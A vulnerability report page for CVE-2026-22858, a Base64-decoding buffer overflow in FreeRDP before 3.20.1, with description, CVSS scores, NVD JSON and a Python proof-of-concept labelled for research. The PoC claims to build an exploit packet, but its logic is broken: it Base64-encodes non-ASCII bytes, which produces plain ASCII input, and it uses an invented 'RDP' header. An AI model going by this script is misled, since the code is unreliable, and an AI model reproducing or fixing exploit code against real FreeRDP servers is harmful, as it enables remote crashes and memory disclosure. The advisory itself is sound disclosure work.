Security Vulnerability Report
中文
CVE-2026-22858 CVSS 9.1 CRITICAL

CVE-2026-22858

Published: 2026-01-14 18:16:44
Last Modified: 2026-01-20 18:33:33

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, global-buffer-overflow was observed in FreeRDP's Base64 decoding path. The root cause appears to be implementation-defined char signedness: on Arm/AArch64 builds, plain char is treated as unsigned, so the guard c <= 0 can be optimized into a simple c != 0 check. As a result, non-ASCII bytes (e.g., 0x80-0xFF) may bypass the intended range restriction and be used as an index into a global lookup table, causing out-of-bounds access. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22858 PoC - FreeRDP Base64 Decode Global Buffer Overflow Vulnerability: In FreeRDP < 3.20.1, a global-buffer-overflow exists in Base64 decoding path. On Arm/AArch64, char is unsigned, so check 'c <= 0' is optimized to 'c != 0', allowing non-ASCII bytes (0x80-0xFF) to bypass range restriction and access global lookup table out-of-bounds. This PoC generates a malicious Base64 payload that can trigger the overflow. """ import base64 import struct def generate_malicious_base64_payload(): """ Generate a Base64 payload that exploits the char signedness issue. Non-ASCII bytes (0x80-0xFF) will bypass the range check and cause OOB access. """ # Craft payload with non-ASCII bytes that will trigger the overflow # When decoded, these bytes (0x80-0xFF) will be used as indices into # the global lookup table, causing out-of-bounds access malicious_bytes = b'\x80\xff\x80\xff' * 16 # Non-ASCII bytes # Encode to Base64 - this will be processed by vulnerable FreeRDP payload = base64.b64encode(malicious_bytes) return payload def create_rdp_exploit_packet(): """ Create an RDP data packet containing the malicious Base64 payload. This simulates how the payload would be sent over RDP connection. """ header = b'RDP' # Simplified RDP header marker payload = generate_malicious_base64_payload() packet = header + payload return packet def demonstrate_vulnerability(): """ Demonstrate the vulnerability mechanism. """ print('[+] CVE-2026-22858 PoC - FreeRDP Base64 Decode Overflow') print('[+] Target: FreeRDP < 3.20.1 on Arm/AArch64') print() # Generate malicious payload payload = generate_malicious_base64_payload() print(f'[+] Generated malicious Base64 payload: {payload.decode()}') print(f'[+] Payload length: {len(payload)} bytes') print() # Show the raw bytes that will cause the overflow raw_bytes = base64.b64decode(payload) print('[+] Raw bytes that trigger overflow:') print(f' Contains bytes: {[hex(b) for b in raw_bytes[:8]]}') print() print('[+] Vulnerability mechanism:') print(' 1. On Arm/AArch64, char is treated as unsigned') print(' 2. Check "c <= 0" optimized to "c != 0"') print(' 3. Non-ASCII bytes (0x80-0xFF) bypass range check') print(' 4. These bytes used as index into global lookup table') print(' 5. Out-of-bounds memory access occurs') print() # Create RDP packet packet = create_rdp_exploit_packet() print(f'[+] RDP exploit packet created: {len(packet)} bytes') print('[+] Packet ready for transmission to vulnerable FreeRDP server') return packet if __name__ == '__main__': demonstrate_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22858", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:43.520", "lastModified": "2026-01-20T18:33:32.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, global-buffer-overflow was observed in FreeRDP's Base64 decoding path. The root cause appears to be implementation-defined char signedness: on Arm/AArch64 builds, plain char is treated as unsigned, so the guard c <= 0 can be optimized into a simple c != 0 check. As a result, non-ASCII bytes (e.g., 0x80-0xFF) may bypass the intended range restriction and be used as an index into a global lookup table, causing out-of-bounds access. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.20.1, se observó un desbordamiento de búfer global en la ruta de decodificación Base64 de FreeRDP. La causa raíz parece ser la signatura de `char` definida por la implementación: en compilaciones Arm/AArch64, `char` simple se trata como sin signo, por lo que la guarda `c &lt;= 0` puede optimizarse en una simple verificación `c != 0`. Como resultado, los bytes no ASCII (por ejemplo, 0x80-0xFF) pueden eludir la restricción de rango prevista y usarse como un índice en una tabla de búsqueda global, causando acceso fuera de límites. Esta vulnerabilidad se corrigió en la versión 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qmqf-m84q-x896", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}